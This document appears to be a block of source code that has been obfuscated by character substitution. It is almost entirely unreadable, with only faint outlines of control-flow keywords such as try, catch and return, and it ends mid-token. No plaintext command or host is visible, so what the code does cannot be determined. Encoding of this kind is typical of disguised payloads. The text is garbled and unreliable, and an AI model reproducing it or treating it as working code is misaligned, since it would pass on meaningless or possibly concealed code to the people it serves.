#OF[LHJA	H[[HP 	iKKAEPBMEYMGE vNM							BNQM_AA_\N					 	HZ		M[EX]]XXD@OG@ 				QvL@DHL^QLrt			M[EX]]XXD@OG@####T#				OF[LHJA			H[[HP 		iKKAEPBMEYMGE vNM							@^v_XSYHPXKSN  	HZ						PG^LLLJ]]HGZHFH 	QvL@DHL^QLrt			PG^LLLJ]]HGZHFH#		T##		T#\GZL]AP[OAG^[PQv				vYGvD_ZE	vNM	BNQM_AA_\N	M[EX]]XXD@OG@				PG^LLLJ]]HGZHFH ##			MQBDBZXCvM									H[[HPhkzyh}a				SPDBZLLFM] 				_ONSMO		KKAEPBMEYMGE  #		OF[LHJA						MQBDBZXCvM		HZ			BPDBMMQ] 	R#@O				iSPDBZLLFM] BPDBMMQ]  				JFG]@G\L#		@DZNOYA											iKKAEPBMEYMGE BPDBMMQ] \SKFGQASZDEZX\SKFG#			@O			@DZNOYA				KKAEPBMEYMGE @DZNOYA		@^v_XSYHPXKSN  				OHEZL 				R#					@DZNOYA			KKAEPBMEYMGE @N[KMFGKOJZ 						KKAEPBMEYMGE E@J_vM@Y		 			@N[KMFGKOJZ 		uG	@DZNOYA #							@O			KKAEPBMEYMGE @DZNOYA  					R#@DZNOYA						SPDBZLLFM] @^v_XSYHPXKSN 						@^v_XSYHPXKSN E@J_vM@Y				 			KKAEPBMEYMGE 				uG	@DZNOYA ##		T#				@O		@^v_XSYHPXKSN @DZNOYA  	R#	@DZNOYA			@^v_XSYHPXKSN KKAEPBMEYMGE 						@^v_XSYHPXKSN E@J_vM@Y						 						SPDBZLLFM] 			uG		@DZNOYA N[vY]ASLM@Y^MFP@LN]N[vY]ASLM@Y#T#	@O		KKAEPBMEYMGE @DZNOYA  	ZKXOKS\JGG_ZQC@QYBPDBMMQ]			@DZNOYA #				T#						T####		[JDN[N			hkzyh}a						@N[KMFGKOJZ #			@O	iKKAEPBMEYMGE [JDN[N  			R#	L\BEDB]]vO					SPDBZLLFM] hkzyh}a 			@^v_XSYHPXKSN ##				@O			i@^v_XSYHPXKSN L\BEDB]]vO  	[JDN[N			L\BEDB]]vO####	T#		@O		i@N[KMFGKOJZ [JDN[N 			i@^v_XSYHPXKSN [JDN[N  				R#	v^J				i@^v_XSYHPXKSN [JDN[N [LYGH@BF@L[]@K\BOA[LYGH@BF@L#@O				SPDBZLLFM] v^J 				@^v_XSYHPXKSN v^J	KKAEPBMEYMGE  							OHEZL 	R#			^vGYM\ACJO				SPDBZLLFM] SPDBZLLFM] 						v^J #	@O	@N[KMFGKOJZ ^vGYM\ACJO 										^vGYM\ACJO					v^J									_SMG[M@XJvKJSK\^vGYM\ACJO  						R####		]MQ@XDOHS		i@^v_XSYHPXKSN [JDN[N #	@O				ZKXOKS\JGG_ZQC@QY[JDN[N		^vGYM\ACJO 						]MQ@XDOHS 		iSPDBZLLFM] [JDN[N		]MQ@XDOHS #T#	\GZL]^vGYM\ACJO		]MQ@XDOHS #		T#\GZL]v^J #	T#\GZL][JDN[N		L\BEDB]]vO #		[_FFZv[vAFX\					SPDBZLLFM] KKAEPBMEYMGE  								iSPDBZLLFM] @N[KMFGKOJZ  				OHEZL#@O		[_FFZv[vAFX\	UU	[_FFZv[vAFX\									 					[_FFZv[vAFX\				@N[KMFGKOJZ ####	KSJNMK[\NDZ			H[[HPhkzyh}a			[_FFZv[vAFX\		_ONSMO														[_FFZv[vAFX\ #		OF[LHJA		KSJNMK[\NDZ	HZ	JLHJACCM] 					R#		@O			iKKAEPBMEYMGE JLHJACCM]  			JFG]@G\L#					@DZNOYA		iKKAEPBMEYMGE JLHJACCM] ###@O					@DZNOYA						@^v_XSYHPXKSN @DZNOYA				SPDBZLLFM]  					OHEZL 			R#						@DZNOYA			SPDBZLLFM] @N[KMFGKOJZ 						SPDBZLLFM] KLKN_OLM				 			@^v_XSYHPXKSN 				@DZNOYA ####						@O	SPDBZLLFM] @DZNOYA  	ZKXOKS\JGG_ZQC@QYJLHJACCM]		@DZNOYA ###T#T#					C^[HLFSKNCBBJ								H[[HP####		_ONSMO											KLKN_OLM#					LCB\LSHJLG[O										KLKN_OLM###					YN@KKM										KLKN_OLM#				 ###				YP]ZF^K								SPDBZLLFM] QvL@DHL^QL			C^[HLFSKNCBBJ #					OF[LHJA					C^[HLFSKNCBBJ				HZ		MLXDFHODDKY 			R#	@O					i@N[KMFGKOJZ MLXDFHODDKY  	R#					XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY			  #			ZKXOKS\JGG_ZQC@QYMLXDFHODDKY	@^v_XSYHPXKSN  #					T#T#	OF[LHJA	YP]ZF^K	HZ				MLXDFHODDKY 	R#@O	iKKAEPBMEYMGE MLXDFHODDKY  		R#	XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY	  #@PE[Z\[XJ_PLXGMLXDFHODDKY ####T#		T#				OF[LHJA				O^DCFJECC_ 				HZ	FD]NJJvOL@HX] 			R#@O	i@^v_XSYHPXKSN FD]NJJvOL@HX] 					UU			i@^v_XSYHPXKSN FD]NJJvOL@HX]  	JFG]@G\L#	@DZNOYA		iKKAEPBMEYMGE FD]NJJvOL@HX] #					@O	KKAEPBMEYMGE @DZNOYA  		R#							C]CKCK@GOMX\v					@M\[^SLG]QQBQQ@DZNOYA	@^v_XSYHPXKSN 			SPDBZLLFM]  #C]CKCK@GOMX\v					@M\[^SLG]QQBQQC]CKCK@GOMX\v	@N[KMFGKOJZ 			@^v_XSYHPXKSN  #	@O		SPDBZLLFM] C]CKCK@GOMX\v 							C]CKCK@GOMX\v							@DZNOYA 			ZKXOKS\JGG_ZQC@QYFD]NJJvOL@HX]			C]CKCK@GOMX\v #							\GZL]C]CKCK@GOMX\v #					T#	T####			@O			@N[KMFGKOJZ SPDBZLLFM]  									KKAEPBMEYMGE @N[KMFGKOJZ   						R####				BLP						[HB[vv^K\Q_OE\F #	@O	BLP				OHEZL 	R###				vH_vDASMAvO						i@^v_XSYHPXKSN BLP				^				 #			@O				vH_vDASMAvO 		R#	iKKAEPBMEYMGE vH_vDASMAvO #				i@^v_XSYHPXKSN vH_vDASMAvO #			T#					T#						T#				@O		SPDBZLLFM] KKAEPBMEYMGE   		R#					XZ^\@KJE^					FZLYYKLLEQ[\Ahkzyh}a		SPDBZLLFM] 	  #	iMLEL]LvFY]@FGXZ^\@KJE^ ####Av\ONQKZ					@^v_XSYHPXKSN SPDBZLLFM]  						iNL]vFY]@FGKKAEPBMEYMGE 	H[[HP  					H[[HP #@O			SPDBZLLFM] Av\ONQKZ  		R#			@O				@ZZL]Av\ONQKZrKt  	@PE[Z\[XJ_PLXGAv\ONQKZrKt #		@O	@ZZL]Av\ONQKZrKKAEPBMEYMGE t 							@^v_XSYHPXKSN Av\ONQKZrKKAEPBMEYMGE t  		R#OF[LHJA			Av\ONQKZr@^v_XSYHPXKSN t			HZ			vJ@ 			R###			@O	SPDBZLLFM] vJ@ 			@ZZL]vJ@rKt  				@PE[Z\[XJ_PLXGvJ@rKt #	T#	T#		T#						iMLEL]LvFY]@FG@^v_XSYHPXKSN  ##		iMLEL]LvFY]@FG@^v_XSYHPXKSN  #		iMLEL]LvFY]@FGSPDBZLLFM]  #iMLEL]LvFY]@FG@N[KMFGKOJZ  #						iMLEL]LvFY]@FGSPDBZLLFM]  #					iMLEL]LvFY]@FG@N[KMFGKOJZ  #				iMLEL]LvFY]@FGSPDBZLLFM]  #	iMLEL]LvFY]@FG@N[KMFGKOJZ  ##			\GZL]Av\ONQKZ			vJ@ #					T#	~y	oFG]	e@K[H[P	]HQFGFDP	[LN@Z][H]@FG##@O	KKAEPBMEYMGE SPDBZLLFM]   			R#								iMLEL]Lv][HGZ@LG]@N[KMFGKOJZ  #iMLEL]Lv][HGZ@LG]@^v_XSYHPXKSN  #		iMLEL]Lv][HGZ@LG]HZZ[vN@S@BZX  #T#	@O				KKAEPBMEYMGE @N[KMFGKOJZ   					R###i^YvJELH[vZJALM\ELMvAFFB@N[KMFGKOJZ  OK_E]\[MX^YUALX[Q]@JAXGNZOK_E]\[MX^Yw###	i^YvJELH[vZJALM\ELMvAFFB@N[KMFGKOJZ  #	i^YvJELH[vZJALM\ELMvAFFBSG^DSX^[_L  ####					T#				T	JH]JA			}A[F^HKEL			E]GYK]v 						R#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v #T				JH]JA	lQJLY]@FG	E]GYK]v 		R#T#		T#O\GJ]@FG		BHQQYMOF@LP]XXH #			R#			][P	R##@O	MLO@GLMSPDBZLLFM]   			[L]\[G				OHEZL####_ONSMO				\PMXQZ\DMJ_]\OH #	DSFCBF\EJ				_ONSMO				@N[KMFGKOJZ #		M_XXHYC^C_SP						@^v_XSYHPXKSN [ZKLSD_ 		SPDBZLLFM]  #		YEA^CJENGPQ								LSQQPGQ_@[D^ #	@O		YEA^CJENGPQ			UU		@^v_XSYHPXKSN YEA^CJENGPQ 										 					UU		@^v_XSYHPXKSN YEA^CJENGPQ 					QLLMQHO 		UU		K[N[JPDKAX]LSYEA^CJENGPQ 	UU		_SMG[M@XJvKJSK\YEA^CJENGPQ  			[L]\[G			OHEZL#J\[[LG]		iSPDBZLLFM] DSFCBF\EJ 				i@^v_XSYHPXKSN DSFCBF\EJ 							#				@O				SPDBZLLFM] J\[[LG]  		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	@^v_XSYHPXKSN  #								[L]\[G	OHEZL#			T#						J\[[LG]					C^v@Z@\@ACBCLJ\[[LG] #C_MFC[]GPPG			^NKBHS]S^NFHGH^O] 														FZLYYKLLEQ[\Ahkzyh}a					@^v_XSYHPXKSN 	QQ  ###			Z[XDNv\XGSDB				@^v_XSYHPXKSN 					C_MFC[]GPPG							KKAEPBMEYMGE ####DAGQ[H							@^v_XSYHPXKSN 								C_MFC[]GPPG				KKAEPBMEYMGE #					HM_YGCXDA								FZLYYKLLEQ[\Ahkzyh}a				SPDBZLLFM] 	  #		\_PBJLHGSJ_^C@								@N[KMFGKOJZ SPDBZLLFM] 		HM_YGCXDA			@^v_XSYHPXKSN 							J\[[LG] #			\GPCXKOECX				SPDBZLLFM] \_PBJLHGSJ_^C@			SPDBZLLFM]  								OHEZL #	@O	KKAEPBMEYMGE J\[[LG]		Z[XDNv\XGSDB 				OHEZL			KKAEPBMEYMGE J\[[LG]						DAGQ[H 						OHEZL						\GPCXKOECX 		[L]\[G			][\L#J\[[LG]					SPDBZLLFM] SPDBZLLFM] 				\_PBJLHGSJ_^C@ #	@O	KKAEPBMEYMGE J\[[LG]  		R#			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			KKAEPBMEYMGE  ##			[L]\[G			OHEZL#		T#		J_@[BEONv_									Q]H[ENCXS]X^Z@] #	@O						J_@[BEONv_ 					[L]\[G	OHEZL###			JS[LNF[N[E		KKAEPBMEYMGE 				@^v_XSYHPXKSN @^v_XSYHPXKSN M_XXHYC^C_SP		Z][@GN 	Y[CQSEMDC_  						w  #	_B@FJFYB							GvOZDJCMQLYAvYLO#@^v_XSYHPXKSN #H[[HPvvze|nvv			vvye|n`gvkhzlvv					vvn|h{mvghdlvv		vvl{z`fgvv #	H[[HPM_XXHYC^C_SP	J_@[BEONv_	JS[LNF[N[E	^NKBHS]S^NFHGH^O]  #					 #	##	@O		_B@FJFYB 			R#				@O		@G] 		NL]vFY]@FGKKAEPBMEYMGE 			 					 				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			SPDBZLLFM]  ####		[L]\[G	OHEZL#	T##					J\[[LG]		C^v@Z@\@ACBCLJ\[[LG] #				P_MP]@Q]GHNCO				@N[KMFGKOJZ KKAEPBMEYMGE 					_B@FJFYB #	F[Q^CK]FEGQX@			@^v_XSYHPXKSN J\[[LG] 				 ###	@O		F[Q^CK]FEGQX@ 				R#	@O	]ANZv@ZAOSOOASGSPDBZLLFM]   		R###					FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				SPDBZLLFM]  #			[L]\[G		OHEZL#	T##@O		GJvF\F]HHS@DSFCBF\EJ						J\[[LG]  	R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				@^v_XSYHPXKSN  ####					[L]\[G	OHEZL#		T#		JXQ_LD_PNY^S@@C[SPDBZLLFM]  #	T			LEZL	R#	@O			GJvF\F]HHS@DSFCBF\EJ	  	R[vXMZQA\\]^MEBY]PQJ\[vXMZQA\\#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 					KKAEPBMEYMGE  ##[L]\[G				OHEZL#					T#				T#	_N@]LYAZvQA				LEMDD@YOvY[YJ\[[LG]		Z[XDNv\XGSDB					uG			P_MP]@Q]GHNCO						uG			DAGQ[H ####	@O	ZKXOKS\JGG_ZQC@QYDSFCBF\EJ	_N@]LYAZvQA  		R#					[L]\[G		OHEZL##			T#					@O	F[Q^CK]FEGQX@ 	EHOBPA]OAvHDSFCBF\EJ #	[L]\[G					][\L#		T		JH]JA	}A[F^HKEL				E]GYK]v 				R#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	E]GYK]v #								[L]\[G		OHEZL##	T	JH]JA			lQJLY]@FG		E]GYK]v 			R#	[L]\[G				OHEZL#					T####T####O\GJ]@FG				O^DCFJECC_ #	R#						[@SJ_CSFAXGMQvQ					H[[HP #		##								@O	@^v_XSYHPXKSN @N[KMFGKOJZ   	[L]\[G	[@SJ_CSFAXGMQvQ#					@MMvvANCK				MLO@GLM@^v_XSYHPXKSN  										~yvjfg}lg}vm`{					MLO@GLMKKAEPBMEYMGE  					hkzyh}a				KKAEPBMEYMGE 				  			SPDBZLLFM] ##				\Y_G^Q@QK@GZ			Z][@GN 			iNL]vFY]@FGSPDBZLLFM] 			 #	@O				\Y_G^Q@QK@GZ					 		[@SJ_CSFAXGMQvQrt					@MMvvANCK				\Y_G^Q@QK@GZ		@^v_XSYHPXKSN #	O^XQ\ZvXDEQAA							Z][@GN 		iNL]vFY]@FG@N[KMFGKOJZ 	 ###			@O	O^XQ\ZvXDEQAA							O^XQ\ZvXDEQAA			\Y_G^Q@QK@GZ 		[@SJ_CSFAXGMQvQrt			@MMvvANCK							O^XQ\ZvXDEQAA					KKAEPBMEYMGE ####			[L]\[G		[@SJ_CSFAXGMQvQ#			T#		O\GJ]@FG	E@H^[DKY[G^^[ #	R#			][P		R#@O			MLO@GLMKKAEPBMEYMGE  	UU	SPDBZLLFM] @N[KMFGKOJZ   		[L]\[G#		OF[LHJA			O^DCFJECC_ 				HZ				@@ZNDYPEAO 				R#	AFZ]	KP]L	F[ML[###			@Q[NMAv@G\S				^D]]OFPX_KGKN@ 			@^v_XSYHPXKSN 			FZLYYKLLEQ[\A@@ZNDYPEAO			  				KKAEPBMEYMGE #			@O		iKKAEPBMEYMGE @Q[NMAv@G\S  			JFG]@G\L#		@O	iKKAEPBMEYMGE @@ZNDYPEAO 							i@N[KMFGKOJZ @@ZNDYPEAO 					 		JFG]@G\L#	_ALQ[BH							i@N[KMFGKOJZ @Q[NMAv@G\S #			@O		@^v_XSYHPXKSN _ALQ[BH 					UU		_ALQ[BH									 		JFG]@G\L###@O	ZKXOKS\JGG_ZQC@QY@@ZNDYPEAO			_ALQ[BH  					R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				@N[KMFGKOJZ  #		i\YMH]LvFY]@FG@^v_XSYHPXKSN 		SPDBZLLFM]  			@^v_XSYHPXKSN  #				T#	T#	iM@ZYH]JA	JF\G]D@GZBL]JA##		T		JH]JA			}A[F^HKEL			E]GYK]v 		R#	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			E]GYK]v #		T			JH]JA			lQJLY]@FG		E]GYK]v 	R###T#	T#						O\GJ]@FG		MKvZXSQHXQ #					R####	][P	R#	@O	MLO@GLMSPDBZLLFM]   	[L]\[G						OHEZL#						##		A]YZOLHQM_M								O^DCFJECC_ #@O				LDY]PA]YZOLHQM_M  			[L]\[G			OHEZL#	MLHP@NOA@NJ		@G] 		NL]vFY]@FGSPDBZLLFM] 					 #@O					MLHP@NOA@NJ					@N[KMFGKOJZ  						MLHP@NOA@NJ			QHMQHJ  	[L]\[G	OHEZL#			C_MFC[]GPPG			^NKBHS]S^NFHGH^O] 										FZLYYKLLEQ[\Ahkzyh}a										@^v_XSYHPXKSN 						QQ  ###	Z[XDNv\XGSDB				KKAEPBMEYMGE 							C_MFC[]GPPG			@N[KMFGKOJZ #DAGQ[H				@^v_XSYHPXKSN 					C_MFC[]GPPG									KKAEPBMEYMGE #JS[LNF[N[E					KKAEPBMEYMGE 			@^v_XSYHPXKSN @^v_XSYHPXKSN hkzyh}a					Z][@GN 			Y[CQSEMDC_  							  #	M_XXHYC^C_SP					SPDBZLLFM] [ZKLSD_ 		@N[KMFGKOJZ  #	J_@[BEONv_					Q]H[ENCXS]X^Z@] #			##	@O			J_@[BEONv_ 		[L]\[G		OHEZL#][@XGE					GvOZDJCMQLYAvYLO#		@N[KMFGKOJZ #		H[[HPvvze|nvv	vvye|n`gvkhzlvv			vvn|h{mvghdlvv		vvl{z`fgvv #						H[[HPM_XXHYC^C_SP	J_@[BEONv_		JS[LNF[N[E					^NKBHS]S^NFHGH^O]  #							 #				@O		][@XGE 					R###		@O					@G] 					NL]vFY]@FGKKAEPBMEYMGE 		 									 		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 						SPDBZLLFM]  #				[L]\[G	OHEZL#		T#		][@XGE					@^v_XSYHPXKSN @N[KMFGKOJZ 					][@XGE #				@O				KKAEPBMEYMGE ][@XGE 	UU			][@XGE								 	[L]\[G	OHEZL#		OF[LHJA		A]YZOLHQM_M		HZ			FD]NJJvOL@HX] 		R#						@O				i@^v_XSYHPXKSN FD]NJJvOL@HX]  		JFG]@G\L#\FDO]SACF			@^v_XSYHPXKSN @N[KMFGKOJZ  							iKKAEPBMEYMGE FD]NJJvOL@HX]	J 						OHEZL#		@O	\FDO]SACF				OHEZL						@^v_XSYHPXKSN @N[KMFGKOJZ   	iOEFJB\FDO]SACF		efjbvlq #	J\[[LG]								iSPDBZLLFM] FD]NJJvOL@HX] #	@O		SPDBZLLFM] J\[[LG]  					R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 	SPDBZLLFM]  #				@O			\FDO]SACF								OHEZL 				R##@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   			iOEFJB\FDO]SACF				efjbv|g #					iOJEFZL\FDO]SACF #	T#			JFG]@G\L#		T#][P			R##	@O					@N[KMFGKOJZ J\[[LG] 					QJOJQLM  					J\[[LG]				C^v@Z@\@ACBCLJ\[[LG] LELKQAS^^UGO^KHYHFPHLELKQAS^^w#				@O		KKAEPBMEYMGE J\[[LG]			Z[XDNv\XGSDB 						OHEZL				@^v_XSYHPXKSN J\[[LG]					DAGQ[H 				OHEZL 	[L]\[G					][\L##@O						iSPDBZLLFM] FD]NJJvOL@HX]  			JFG]@G\L####					@Q[NMAv@G\S						^D]]OFPX_KGKN@ 							SPDBZLLFM] 				FZLYYKLLEQ[\AFD]NJJvOL@HX]		  							KKAEPBMEYMGE ####		BPEGMCCP		FZLYYKLLEQ[\Ahkzyh}a						@N[KMFGKOJZ 					  #	J\[[LG]						@M\[^SLG]QQBQQJ\[[LG]		@^v_XSYHPXKSN 		@N[KMFGKOJZ  #			J\[[LG]							@^v_XSYHPXKSN @^v_XSYHPXKSN 								J\[[LG] #@O		KKAEPBMEYMGE J\[[LG]  	R##				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			KKAEPBMEYMGE  K_BQH]YANXKUP_BKJOASK_BQH]YANXKw###				JFG]@G\L#		T#@O		KKAEPBMEYMGE J\[[LG]	SPDBZLLFM]  					OHEZL			UU	SPDBZLLFM] J\[[LG]	SPDBZLLFM]  									OHEZL 		R#KHKDZ@L						iKKAEPBMEYMGE @Q[NMAv@G\S 				i@N[KMFGKOJZ @Q[NMAv@G\S 				OHEZL#	@O				KKAEPBMEYMGE KHKDZ@L 	UU	KHKDZ@L				 				R]QS^^_HEFKFOSPQABZv]QS^^_HEF#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		@N[KMFGKOJZ  #			JFG]@G\L#	T##	J\[[LG]						KHKDZ@L#		\GZL]KHKDZ@L #		T#			^MH@[S			_vCY[CYPXM@J\[[LG] #@O					@N[KMFGKOJZ ^MH@[S 							^MH@[S							 				R##					KFAXHLKBBYJ								iSPDBZLLFM] @Q[NMAv@G\S 					i@N[KMFGKOJZ @Q[NMAv@G\S 						OHEZL#	@O			KKAEPBMEYMGE KFAXHLKBBYJ 			UU	KFAXHLKBBYJ								^MH@[S 		ZKXOKS\JGG_ZQC@QY@Q[NMAv@G\S			^MH@[S ###			\GZL]KFAXHLKBBYJ #T#			\GZL]^MH@[S #			^@XKNQCEGLDB				SPDBZLLFM] #@O					SPDBZLLFM] J\[[LG] 									KKAEPBMEYMGE J\[[LG]					SPDBZLLFM]  		OHEZL									KKAEPBMEYMGE SPDBZLLFM] J\[[LG] 	 										@^v_XSYHPXKSN  			R#						^@XKNQCEGLDB					#	T###							MSAQOAMQG							KKAEPBMEYMGE J\[[LG] 							 						uG			##			YSKQ[PBSFJ		MSAQOAMQG					^@XKNQCEGLDB		Z[XDNv\XGSDB					uG				][@XGE				uG					DAGQ[H		uG#			@O			GJvF\F]HHS@FD]NJJvOL@HX]					J\[[LG]  			R#	O\EO@EE	@GOLHZ@KEL	HOO@GL]PYL###		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@N[KMFGKOJZ  ##				JFG]@G\L#							T##			@O	ZKXOKS\JGG_ZQC@QYFD]NJJvOL@HX]		J\[[LG]				YSKQ[PBSFJ  	JFG]@G\L#[L]\[G		][\L#	T				O@GHEEP		R##								@O					\FDO]SACF							OHEZL 		R#		@O	@^v_XSYHPXKSN @N[KMFGKOJZ   					iOEFJB\FDO]SACF					efjbv|g #iOJEFZL\FDO]SACF #		T#		T#	T#		[L]\[G			OHEZL#		T		JH]JA			}A[F^HKEL		E]GYK]v 			R#			FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		E]GYK]v ####		[L]\[G						OHEZL#	T						JH]JA	lQJLY]@FG				E]GYK]v 	R#	[L]\[G				OHEZL##		T#T#O\GJ]@FG		vGOEXYPM]YC #R###								][P		R####			@O	MLO@GLMKKAEPBMEYMGE   				[L]\[G#	@O	SDLMOCK_]JSDN^[ZKLSD_   				[L]\[G#		_ONSMO				\PMXQZ\DMJ_]\OH #		XONOYOA[[								FZLYYKLLEQ[\Ahkzyh}a									@^v_XSYHPXKSN 				w  							KKAEPBMEYMGE #		M_XXHYC^C_SP						KKAEPBMEYMGE [ZKLSD_ 					@^v_XSYHPXKSN  #					YEA^CJENGPQ			LSQQPGQ_@[D^ #			@O	YEA^CJENGPQ		UU	@^v_XSYHPXKSN YEA^CJENGPQ 					  		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				@N[KMFGKOJZ  #[L]\[G###T#	@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   			[L]\[G#		[_JPKSDYF^^			H[[HP#		_ONSMO										XONOYOA[[##		_ONSMO				KKAEPBMEYMGE 					@^v_XSYHPXKSN @^v_XSYHPXKSN  						XONOYOA[[#		 #ESH^GZH			MLO@GLM@^v_XSYHPXKSN  									~yvjfg}lg}vm`{					hkzyh}a			@^v_XSYHPXKSN  					KKAEPBMEYMGE ####		@O	iKKAEPBMEYMGE ESH^GZH  		R#				v_DCMv]Z^E^			\Z\AGLAZAHZXB\ESH^GZH ##			@O		@N[KMFGKOJZ v_DCMv]Z^E^  		R####OF[LHJA					v_DCMv]Z^E^		HZ					E]GYK]v 					R#@ZN[XKKQY							ESH^GZH												E]GYK]v#				@O	iSPDBZLLFM] @ZN[XKKQY 		iSPDBZLLFM] @ZN[XKKQY  		R#[_JPKSDYF^^rt					@ZN[XKKQY						XONOYOA[[####	K[LHB#			T####		T#	i@G]L[[\Y]	Z][\J]\[HE]PYL##			T#T#	@GCLJ]@_LHMC	HMHY]L[##		OF[LHJA		[_JPKSDYF^^	HZ					EA@[]EMX 			R#						@O		iSPDBZLLFM] EA@[]EMX 							i@N[KMFGKOJZ EA@[]EMX 		QOOQL  	R#		OG_F^LPP			@N[KMFGKOJZ ##			@O		@^v_XSYHPXKSN OG_F^LPP  	R#		C\[F]DSL			GL^						OG_F^LPP #			@O		iC\[F]DSLFYLGEA@[]EMX 			][\L 				R####	C\[F]DSLJEFZL #	JFG]@G\L#	T#		T#				T####[YBEB\JZ				KKAEPBMEYMGE EA@[]EMX #		@O	iSPDBZLLFM] [YBEB\JZ  	vGQBQZEPNCOHHM[YBEB\JZ	 		][\L #				OG_F^LPP		SPDBZLLFM] ###		PP_ZDMKXPMM										Jv[GJMMAY\BvJQ[YBEB\JZ		@N[KMFGKOJZ  ###				@O			PP_ZDMKXPMM				OHEZL 				JFG]@G\L#vvPvP[@JZ				GL^				OG_F^LPP #@O		ivvPvP[@JZFYLGPP_ZDMKXPMM		OG_F^LPPj{lh}l						U		OG_F^LPPfl{~{`}l 						][\L 	R#				vvPvP[@JZHMMo[FDz][@GNM_XXHYC^C_SP						M_XXHYC^C_SP							@^v_XSYHPXKSN 		YEA^CJENGPQ #		vvPvP[@JZJEFZL #		OXYE^DN^QL			GL^			OG_F^LPP #				@O			iOXYE^DN^QLFYLGPP_ZDMKXPMM 			][\L 				R#			OXYE^DN^QLJEFZL #	@O			A[E_SCK^\vBYPP_ZDMKXPMM		EA@[]EMX 		UU			OFS\^N^[@QHPP_ZDMKXPMM	EA@[]EMX 									@PE[Z\[XJ_PLXGPP_ZDMKXPMM   			R#				JBA\G@vQJPN]M]EA@[]EMX	^ASQ\PAL\@O  ###		XX]L[vEYC^\OZSZ_@JLEA@[]EMX	  ####					T				LEZL	R#	~y	zL[_L[	z@ML	{LGML[	JFGZ]HG]]@DL	ZJALM\EL[#####			@PE[Z\[XJ_PLXGPP_ZDMKXPMM #T#	HYY[FQ@DH]L	DH]JA##			T	LEZL	R#			@PE[Z\[XJ_PLXGPP_ZDMKXPMM #		T#T	LEZL		R#						@PE[Z\[XJ_PLXGPP_ZDMKXPMM #				T#	T#T	JH]JA		}A[F^HKEL						E]GYK]v 						R####				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v #								T		JH]JA		lQJLY]@FG			E]GYK]v 			R#T####T#			O\GJ]@FG	CPOBPSMQCNL[Y #	R####		][P		R###			@O		@^v_XSYHPXKSN @N[KMFGKOJZ  			UU	@^v_XSYHPXKSN SPDBZLLFM]   			[L]\[G#	@O			MLO@GLM@N[KMFGKOJZ   			[L]\[G##	J@HEvXZE			@^v_XSYHPXKSN #	@O	^YvGLQ]vZJALM\ELMJ@HEvXZE  		R###^YvZJALM\ELvL_LG]@^v_XSYHPXKSN  								 	@N[KMFGKOJZ 						J@HEvXZE #	LZJHYLHGHEPSL	ZLZX\@E@GLH[	ZB@YE@Z]##				T###	@O						^YvGLQ]vZJALM\ELM@^v_XSYHPXKSN   				R#	^YvZJALM\ELvL_LG]KKAEPBMEYMGE  		 	KKAEPBMEYMGE 	@^v_XSYHPXKSN  #		T#	JEFZLM	JFG]H@GL[##T				JH]JA		}A[F^HKEL		E]GYK]v 		RGXO\^E[ZNYASKGXO\^E[#					FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	E]GYK]v #		T				JH]JA					lQJLY]@FG	E]GYK]v 		R#	T###	T####O\GJ]@FG			CvYZBQ\]B^NX@ #		R#				][P	R#@O		MLO@GLMSPDBZLLFM]   				[L]\[G#	HPFF@H^										FZLYYKLLEQ[\Ahkzyh}a					N	w  #				S\NF^AJ]DFPKGCL				H[[HP #	@O			@^v_XSYHPXKSN KKAEPBMEYMGE   			S\NF^AJ]DFPKGCLrt				^D]]OFPX_KGKN@ #	S\NF^AJ]DFPKGCLrt			hkzyh}a								@^v_XSYHPXKSN #		##	@O		@N[KMFGKOJZ @N[KMFGKOJZ   	S\NF^AJ]DFPKGCLrt				\PMXQZ\DMJ_]\OH #	OF[LHJA				S\NF^AJ]DFPKGCL		HZ		DXFOKH 	R#S\CEJZAESP										DXFOKH								@N[KMFGKOJZ 				HPFF@H^#			@O			iSPDBZLLFM] S\CEJZAESP 				@G] 		i@N[KMFGKOJZ S\CEJZAESP 						SPDBZLLFM]  						  	[L]\[G#		T##					OF[LHJA		S\NF^AJ]DFPKGCL		HZ				DXFOKH 		R#			EvPEGLDE\F\vK								DXFOKH							SPDBZLLFM] 			HPFF@H^#		@O	iSPDBZLLFM] EvPEGLDE\F\vK  		R#				F]\CQ@MOPP[P			@G] 		i@N[KMFGKOJZ EvPEGLDE\F\vK #		@O		F]\CQ@MOPP[P							SPDBZLLFM]  							 						F]\CQ@MOPP[P				SPDBZLLFM]  							  		JFG]@G\L#							@PE[Z\[XJ_PLXGEvPEGLDE\F\vK #			T#^JJ^KGCKPHONC						DXFOKH					@^v_XSYHPXKSN 								HPFF@H^							@N[KMFGKOJZ #	@O			iSPDBZLLFM] ^JJ^KGCKPHONC 					@G] 				i@N[KMFGKOJZ ^JJ^KGCKPHONC 		  		R#CGSYJ_@YF					DXFOKH							KKAEPBMEYMGE 						HPFF@H^#			CCF@FMXE						i@^v_XSYHPXKSN CGSYJ_@YF 						KKAEPBMEYMGE Z][@GN 	iSPDBZLLFM] CGSYJ_@YF  							#					@O			CCF@FMXE										@^v_XSYHPXKSN @N[KMFGKOJZ  					iDMvO@EL^JJ^KGCKPHONC 				CCF@FMXE 	R#	i@GJE\ML		^JJ^KGCKPHONC#			[L]\[G#		T#@O		CCF@FMXE		 			R#		@PE[Z\[XJ_PLXG^JJ^KGCKPHONC #								T#				\GZL]CGSYJ_@YF					CCF@FMXE #T#			T#			\GZL]EvPEGLDE\F\vK						F